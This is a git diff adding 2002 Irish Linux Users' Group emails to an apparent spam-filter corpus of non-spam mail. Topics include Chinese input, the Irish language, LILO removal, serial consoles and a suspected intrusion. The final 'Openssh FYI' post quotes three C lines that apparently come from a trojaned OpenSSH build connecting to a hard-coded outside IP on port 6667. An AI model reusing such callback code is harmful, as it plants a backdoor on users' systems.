Input Method). [ ... ] + + sorry for replying to my own post! + + a google for "xim linux" found a number of hits. + try (I've haven't finished reading this myself, + but it seems good): + + http://www.suse.de/~mfabian/suse-cjk/ + + (CJK stands for Chinese Japanese Korean.) + + the above is probably best read with a browser + that groks UTF-8. + +cheers! + -blf- +-- + Innovative, very experienced, Unix and | Brian Foster Dublin, Ireland + Chorus (embedded RTOS) kernel internals | e-mail: blf@utvinternet.ie + expert looking for a new position ... | mobile: (+353 or 0)86 854 9268 + For a résumé, contact me, or see my website http://www.blf.utvinternet.ie + + Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they + don't give a damn about global warming.» http://www.stopesso.com + Supported by Greenpeace, Friends of the Earth, and numerous others... + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00198.d2dbd23153731ad2975c61736208d2fc b/bayes/spamham/easy_ham_2/00198.d2dbd23153731ad2975c61736208d2fc new file mode 100644 index 0000000..2697cc8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00198.d2dbd23153731ad2975c61736208d2fc @@ -0,0 +1,79 @@ +From ilug-admin@linux.ie Wed Jul 31 22:01:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1D37A440E6 + for ; Wed, 31 Jul 2002 17:01:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 22:01:00 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VKxd209091 for + ; Wed, 31 Jul 2002 21:59:39 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA27668; Wed, 31 Jul 2002 21:57:12 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay05.indigo.ie (relay05.indigo.ie [194.125.133.229]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id VAA27638 for ; + Wed, 31 Jul 2002 21:57:07 +0100 +Received: (qmail 49936 messnum 1249470 invoked from + network[159.134.100.110/k100-110.bas1.dbn.dublin.eircom.net]); + 31 Jul 2002 20:23:09 -0000 +Received: from k100-110.bas1.dbn.dublin.eircom.net (HELO gemini.windmill) + (159.134.100.110) by relay05.indigo.ie (qp 49936) with SMTP; + 31 Jul 2002 20:23:09 -0000 +Content-Type: text/plain; charset="iso-8859-1" +From: Nick Murtagh +To: ilug@linux.ie +Subject: [OT] Irish language (was Re: [ILUG] Fwd: Linux Beer Hike) +Date: Wed, 31 Jul 2002 21:23:03 +0100 +User-Agent: KMail/1.4.1 +References: +In-Reply-To: +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: <200207312123.03758.nickm@go2.ie> +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wednesday 31 July 2002 12:02, Satelle, StevenX wrote: +> Its nothing to do with irish. It was the way it was tought. In primary I +> was made to stand up in front of the class and name all the items on a +> projector screen. My teacher knew that I didnt even know what hello was in +> irish (still dont) They tried to force me and as a result I managed to get +> 1% in the intercert and didnt even turn up for the leaving exam. I dislike +> being forced to learn something and mostly refuse to do it. I put effort +> into making sure I didnt learn Irish. My point was I knew more German after +> 6 months than 13 years of Irish. The way it is tought is wrong and people +> should have a choice about doing it. + +Irish is taught badly in schools. But then again so is French. I did 3 years +of French in primary school and 6 in secondary school. So, that's 9 years of +French. Which, I guess, should be long enough to be fluent in most languages. +As it turns out, my French is crap. My Irish is much better. + +The problem seems to be the braindead attempt to make people learn languages +they can't speak through reading and writing. And then tacking on speech as +an afterthought. Whereas doing it the other way round would be a lot more +useful... + +I hear this complaint a lot, but I never hear people complaining about being +"forced" to learn to read and write, or to do maths. Maybe people don't mind +as much if it is perceived as a useful skill (which Irish is not usually +perceived as). + +Anyway, tir gan teanga tir gan anam :) + +Nick + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00199.e3da97cca08a348be097406da950e25f b/bayes/spamham/easy_ham_2/00199.e3da97cca08a348be097406da950e25f new file mode 100644 index 0000000..f03580a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00199.e3da97cca08a348be097406da950e25f @@ -0,0 +1,90 @@ +From ilug-admin@linux.ie Thu Aug 1 01:04:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5D436440C9 + for ; Wed, 31 Jul 2002 20:04:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 01:04:40 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7105N213916 for + ; Thu, 1 Aug 2002 01:05:23 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id BAA02116; Thu, 1 Aug 2002 01:03:16 +0100 +Received: from mail.aculink.net (65-173-158-7.aculink.net [65.173.158.7]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id BAA02083 for + ; Thu, 1 Aug 2002 01:03:10 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host 65-173-158-7.aculink.net + [65.173.158.7] claimed to be mail.aculink.net +Received: from cdm01.deedsmiscentral.net ([204.118.157.72]) by + mail.aculink.net (Merak 4.4.2) with ESMTP id EDA37003; Wed, 31 Jul 2002 + 18:10:21 -0600 +Received: from cdm01.deedsmiscentral.net + (IDENT:redneck@cdm01.deedsmiscentral.net [192.168.20.1]) by + cdm01.deedsmiscentral.net (8.11.6/8.11.6/ver) with ESMTP id g710Y3T24618; + Wed, 31 Jul 2002 18:34:06 -0600 +Message-Id: <3D4881F6.F899591@cdm01.deedsmiscentral.net> +Date: Wed, 31 Jul 2002 18:33:58 -0600 +From: SoloCDM +Reply-To: deedsmis@aculink.net, ilug@linux.ie +X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.20-9.2mdk i586) +X-Accept-Language: en +MIME-Version: 1.0 +To: Liam Bedford +Cc: "ILUG (Request)" +References: <5FE418B3F962D411BED40000E818B33C9C8E65@HASSLE> + <3D4814D0.6A61E6E5@cdm01.deedsmiscentral.net> + <20020731173414.4123f075.lbedford@lbedford.org> +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Subject: [ILUG] Re: removing lilo +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Liam Bedford stated the following: +> +> On Wed, 31 Jul 2002 10:48:16 -0600 SoloCDM claiming to think: +> +> > "Hunt, Bryan" stated the following: +> +> >> you need to do a "fdisk /mbr" from a bootable windoze floppy +> >> alternatively boot from linux boot disk and do fdisk, delete all +> >> partitions. +> +> > I need to ask a question concerning this issue. +> +> > What if I don't want to get rid of the MBR -- it will destroy the +> > OS on that drive. How do I remove lilo without the above fdisk +> > procedure? +> +> fdisk /mbr will restore a dos MBR.. it'll leave the partitions alone. +> +> linux fdisk and deleting all partitions will actually leave LILO in +> the MBR though. + +While I am in Linux, the following message is the output when I +execute fdisk /mbr, even though the drive is in read and write mode: + +Unable to open /mbr + +The mbr is on a separate drive -- not related to the Linux drive. + +-- +Note: When you reply to this message, please include the mailing + list and/or newsgroup address and my email address in To: + +********************************************************************* +Signed, +SoloCDM + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00200.a85d0ee8b147e0d0de9db7bc84117551 b/bayes/spamham/easy_ham_2/00200.a85d0ee8b147e0d0de9db7bc84117551 new file mode 100644 index 0000000..05af85a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00200.a85d0ee8b147e0d0de9db7bc84117551 @@ -0,0 +1,135 @@ +From ilug-admin@linux.ie Thu Aug 1 02:46:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 16942440C8 + for ; Wed, 31 Jul 2002 21:46:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 02:46:05 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g711iK216155 for + ; Thu, 1 Aug 2002 02:44:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id CAA05539; Thu, 1 Aug 2002 02:42:02 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail2.mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id CAA05420 for ; + Thu, 1 Aug 2002 02:41:43 +0100 +Received: from [194.165.169.23] (helo=excalibur.research.wombat.ie) by + mail2.mail.iol.ie with esmtp (Exim 3.35 #1) id 17a4rN-0004Vu-00 for + ilug@linux.ie; Thu, 01 Aug 2002 02:34:38 +0100 +Received: (from kenn@localhost) by excalibur.research.wombat.ie + (8.11.6/8.11.6) id g711ffQ02173 for ilug@linux.ie; Thu, 1 Aug 2002 + 02:41:41 +0100 +Date: Thu, 1 Aug 2002 02:41:41 +0100 +From: Kenn Humborg +To: Irish Linux Users Group +Subject: Re: [ILUG] inputting chinese characters in Redhat 7.3 +Message-Id: <20020801024141.A1980@excalibur.research.wombat.ie> +References: <200207311757.g6VHvoX11572@linux.local> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <200207311757.g6VHvoX11572@linux.local>; from + blf@utvinternet.ie on Wed, Jul 31, 2002 at 06:57:50PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed, Jul 31, 2002 at 06:57:50PM +0100, Brian Foster wrote: +> XIMs generally work as a complex compose frontend. i.e., you +> build up your character as a series of composes of the root or +> fundamental strokes ("radicals", I think they are called), and +> then "commit" the composite character to the application. +> ( yes, keyboarding these scripts _is_ quite slow, I believe +> a good typist can only do a few characters a minute! +> and I assume using a qwerty keyboard is very painful. ) + +I can speak for some Chinese input methods and you can do a hell +of a lot better than a few chars per minute. For example, the +simplest Chinese IM is Pinyin where you phonetically spell out +each character using the pinyin romanisation rules. For example, +Zhong Guo (Chinese for China) is entered by typing 'zhong', +then you're prompted with a list of possible matches, with the +most common first in a numbered list, so you hit, say, 2 for +the second in the list, then similarly for 'guo' 3. + +You can see, that, regarding keystroke counts, it's not that +much different to English. However, until you get familiar +with the sorting order in the 'possible match' lists, it can +be a little slow. + +Other input methods are more keystroke-efficient, losing the +phonetic simplicity of Pinyin. Chinese characters are almost +always pronounced as a first-part-second-part, so zhong is +'zh'-'ong'. One input method assigns single letters to +the possible first and second parts, so 'i' might represent +'zh' as a first part and 'ong' as a second part, so you'd +enter zhong as 'ii' and a digit to choose from the possible +matches. + +I think the Microsoft Global IME has a 'stroke' mode where +you can build up a character stroke by stroke, but you'd only +use that when you know the character you want but you don't +know how to pronounce it. + +> +> some XIMs compose "in place", others do it on a special line, +> and some seem to do it in a special window (or the root?). +> also, some(/most?) XIMs apparently support a US-ASCII input +> mode as well --- _not_ a general Latin-alphabet input mode, +> which seems to require another TLA, called KBD, and which +> apparently doesn't work when an XIM is also being used? --- +> implying you have to switch back and forth between US-ASCII +> input mode (what us English-speakers would call "normal" +> keyboarding/typing), and the other input (e.g., Chinese). +> I'm not sure, but I have the impression the switch is often +> a toggle, and something like . + +Probably most often Ctrl-Space. That's what the Microsoft Global +Input Method Editor uses and what xcin uses IIRC. + +Regarding the original poster's question - here's what works for me +on Red Hat 7.2 + +o Make sure the xcin and ttfonts-zh_CN RPMs are installed. (The + fonts might not be essential, I think XFree comes with usuable + Chinese fonts in the XFree86-fonts RPMs + +o Select Chinese (Simplified) as the language in GDM when logging + in. + +Everything should 'just work'. If you've got the default clock in +your GNOME panel, you should now see it in Chinese. A lot of the +menus will also be in Chinese, but you should be able to find your +way around. + +Use Ctrl-Space to toggle between Chinese and English input. When +in Chinese mode Shift-Space toggles between something that I don't +understand, but it blocks exiting to English. So if you can't use +Ctrl-Space to get back to English, try hitting Shift-Space, Ctrl-Space. + +Fire up a GNOME terminal. In Chinese mode, type zhong 1 guo 1 and +you'll see the Chinese for China. + +Getting this to work while selecting English at the GDM screen is left +as an exercise for the reader. Looking at /etc/X11/xinit/xinitrc.d/xinput +and /usr/share/doc/xcin should give enough info. + +Later, +Kenn + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00201.981524ec8ff1a3d171b662c1dbb831a7 b/bayes/spamham/easy_ham_2/00201.981524ec8ff1a3d171b662c1dbb831a7 new file mode 100644 index 0000000..11fa5b8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00201.981524ec8ff1a3d171b662c1dbb831a7 @@ -0,0 +1,79 @@ +From ilug-admin@linux.ie Thu Aug 1 17:17:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7922E440F0 + for ; Thu, 1 Aug 2002 12:17:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:17:10 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71GAd220645 for + ; Thu, 1 Aug 2002 17:10:39 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA18578; Thu, 1 Aug 2002 17:08:26 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay.dub-t3-1.nwcgroup.com + (postfix@relay.dub-t3-1.nwcgroup.com [195.129.80.16]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA18556 for ; Thu, + 1 Aug 2002 17:08:20 +0100 +Received: from corvil.com (k100-75.bas1.dbn.dublin.eircom.net + [159.134.100.75]) by relay.dub-t3-1.nwcgroup.com (Postfix) with ESMTP id + 01FD670092 for ; Thu, 1 Aug 2002 15:58:42 +0100 (IST) +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com (8.11.6/8.11.6) with ESMTP id g71Ewfr63937 for ; + Thu, 1 Aug 2002 15:58:42 +0100 (IST) (envelope-from + padraig.brady@corvil.com) +Message-Id: <3D494C9E.3040004@corvil.com> +Date: Thu, 01 Aug 2002 15:58:38 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Content-Transfer-Encoding: 8bit +Subject: [ILUG] Am I cracked? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Well you know what I mean. + +I noticed 2 connections from my +(freshly installed RH7.3) machine to +port 80 of the following addresses. + +216.145.20.5 +216.254.17.87 + +Both resolve to cytocin.hubbe.NET +using CCOM.NET & speakeasy.NET DNS +servers respectively. + +Both connections lasted about 20 +seconds and were about 2 minutes apart. +Any ideas? + +I didn't see what processes they came from, +but I'm keeping a close eye now. + +Thanks, +Pádraig. + +p.s. I'm can't subscribe to the list +at the moment for some reason? so please +reply directly. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00202.28c767c7a895f6940228d3f1cbc95319 b/bayes/spamham/easy_ham_2/00202.28c767c7a895f6940228d3f1cbc95319 new file mode 100644 index 0000000..a76af6c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00202.28c767c7a895f6940228d3f1cbc95319 @@ -0,0 +1,61 @@ +From ilug-admin@linux.ie Thu Aug 1 17:17:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6CEE5440F3 + for ; Thu, 1 Aug 2002 12:17:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:17:26 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71GFR221076 for + ; Thu, 1 Aug 2002 17:15:27 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA19044; Thu, 1 Aug 2002 17:12:59 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay.dub-t3-1.nwcgroup.com + (postfix@relay.dub-t3-1.nwcgroup.com [195.129.80.16]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA19010 for ; Thu, + 1 Aug 2002 17:12:50 +0100 +Received: from corvil.com (k100-75.bas1.dbn.dublin.eircom.net + [159.134.100.75]) by relay.dub-t3-1.nwcgroup.com (Postfix) with ESMTP id + B166370095 for ; Thu, 1 Aug 2002 16:03:11 +0100 (IST) +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com (8.11.6/8.11.6) with ESMTP id g71F3Br64085 for ; + Thu, 1 Aug 2002 16:03:11 +0100 (IST) (envelope-from + padraig.brady@corvil.com) +Message-Id: <3D494DAB.9060207@corvil.com> +Date: Thu, 01 Aug 2002 16:03:07 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Content-Transfer-Encoding: 8bit +Subject: [ILUG] stupid pics of the day +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Some local Irish wildlife + +http://www.iol.ie/~padraiga/pics/wild1.jpg +http://www.iol.ie/~padraiga/pics/wild2.jpg + +was I bored or what? + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00203.d235730a5eb66c00ea2c1ad65f415ad9 b/bayes/spamham/easy_ham_2/00203.d235730a5eb66c00ea2c1ad65f415ad9 new file mode 100644 index 0000000..5c1fc48 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00203.d235730a5eb66c00ea2c1ad65f415ad9 @@ -0,0 +1,79 @@ +From ilug-admin@linux.ie Thu Aug 1 17:17:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4AE36440F1 + for ; Thu, 1 Aug 2002 12:17:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:17:28 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71GH0221141 for + ; Thu, 1 Aug 2002 17:17:01 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA19411; Thu, 1 Aug 2002 17:15:21 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA19382 for ; Thu, + 1 Aug 2002 17:15:14 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id RAA26550 for ; Thu, + 1 Aug 2002 17:14:44 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g71GFRr19136 for ilug@linux.ie; Thu, 1 Aug 2002 17:15:27 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Thu, 1 Aug 2002 17:15:27 +0100 +From: "John P. Looney" +To: Irish LUG list +Message-Id: <20020801161527.GE5178@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Irish LUG list +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Disposition: inline +Content-Transfer-Encoding: 8bit +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Subject: [ILUG] serial console question +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + I've found a decrepit raq3 that I'm going to resurrect, as soon as I work +out what's up with the console. + + I'm using 115200 8n1 with minicom, and I'm getting wierd stuff like: + +S+#_+ű INET __+_: +S+#_+ű Å°_°_ MÄ+Å+ű _+Ä+ °+_<_++_. +S+#_+ű #+__+ S+#_+ű #+Å + __+_: +IÅ+#+ _+°#+_ °Ä_ +#Å _+ -- NÄ+ _+#_+ű SSL + +/+__/_Å/++Ä +S++ű +Ä PÄ_+±_SQL: FATAL: S+_#+S_+_PÄ_+: Å() °#+: A___ #+_#< Å +_ + I_ #ÅÄ+_ ÄÄ_++#_+_ #+_#< _+ÅÅű ÄÅ +#+ ÄÄ_+? + I° ÅÄ+, _+Ä+ _Ä++ ÅÄ (/++Ä/._.PGSQL.5583) #Å _+_<. +/+__/Å/ÄÄ_++#_+_: #ÅÅÄ+ _#+ UNIX _+_#+ ÄÄ_+ + [616] +S+#_+ű ++Ä S++ű +Ä W S_+: + + So it looks like some sort of setting mismatch. Various places on the web +say that cobalts are setup with 115200 8n1 serial ports, but someone could +have changed it on this particular box. + + Anyone care to guess what's up ? + +John + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00204.f3906165e216e89d524479d6da3158e8 b/bayes/spamham/easy_ham_2/00204.f3906165e216e89d524479d6da3158e8 new file mode 100644 index 0000000..7152131 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00204.f3906165e216e89d524479d6da3158e8 @@ -0,0 +1,65 @@ +From ilug-admin@linux.ie Thu Aug 1 17:41:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0EFEF440F0 + for ; Thu, 1 Aug 2002 12:41:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:41:51 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71GdK222155 for + ; Thu, 1 Aug 2002 17:39:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA21124; Thu, 1 Aug 2002 17:37:07 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from celtic.wizardr.ie (root@celtic.wizardr.ie [194.125.15.2]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id RAA21072 for + ; Thu, 1 Aug 2002 17:36:54 +0100 +Received: from celtic.wizardr.ie (yyyycc@celtic.wizardr.ie [194.125.15.2]) + by celtic.wizardr.ie (8.11.0/8.11.0) with ESMTP id g71GamQ29787 for + ; Thu, 1 Aug 2002 17:36:48 +0100 +Date: Thu, 1 Aug 2002 17:36:48 +0100 (IST) +From: yyyycc +X-Sender: yyyycc@celtic.wizardr.ie +To: Irish LUG list +Subject: Re: [ILUG] serial console question +In-Reply-To: <20020801161527.GE5178@jinny.ie> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + + +On Thu, 1 Aug 2002, John P. Looney wrote: + +> I've found a decrepit raq3 that I'm going to resurrect, as soon as I work +> out what's up with the console. +> +> I'm using 115200 8n1 with minicom, and I'm getting wierd stuff like: + +Should it be 38K4 - a fairly common baudrate for serial port +connections? Though if you are getting this much, the baudrate +may be right. It looks like high ASCII so it may also be worth +playing with the tty type (ANSI/VT etc). + +> So it looks like some sort of setting mismatch. Various places on the web +> say that cobalts are setup with 115200 8n1 serial ports, but someone could +> have changed it on this particular box. + +Regards...jmcc + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00205.1b7b16facf48373401d78996a92f6666 b/bayes/spamham/easy_ham_2/00205.1b7b16facf48373401d78996a92f6666 new file mode 100644 index 0000000..5b678bb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00205.1b7b16facf48373401d78996a92f6666 @@ -0,0 +1,56 @@ +From ilug-admin@linux.ie Thu Aug 1 17:41:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4B7ED440F1 + for ; Thu, 1 Aug 2002 12:41:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:41:53 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71Gfq222366 for + ; Thu, 1 Aug 2002 17:41:52 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA21399; Thu, 1 Aug 2002 17:39:56 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay.dub-t3-1.nwcgroup.com + (postfix@relay.dub-t3-1.nwcgroup.com [195.129.80.16]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA21375 for ; Thu, + 1 Aug 2002 17:39:51 +0100 +Received: from sponge.xevion.net (w201.z067104158.cle-oh.dsl.cnc.net + [67.104.158.201]) by relay.dub-t3-1.nwcgroup.com (Postfix) with ESMTP id + 68C2A70052 for ; Thu, 1 Aug 2002 13:11:04 +0100 (IST) +Received: from davidd by sponge.xevion.net with local (Exim 3.12 #1 + (Debian)) id 17aEre-0004ya-00 for ; Thu, 01 Aug 2002 + 08:15:34 -0400 +Date: Thu, 1 Aug 2002 08:15:34 -0400 +From: David Dorgan +To: ilug@linux.ie +Message-Id: <20020801081534.A19059@sponge.xevion.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +Subject: [ILUG] Openssh FYI. +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +http://docs.freebsd.org/cgi/getmsg.cgi?fetch=394609+0+current/freebsd-security + +sa.sin_family=AF_INET; +sa.sin_port=htons(6667); +sa.sin_addr.s_addr=inet_addr("203.62.158.32"); + +David. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for 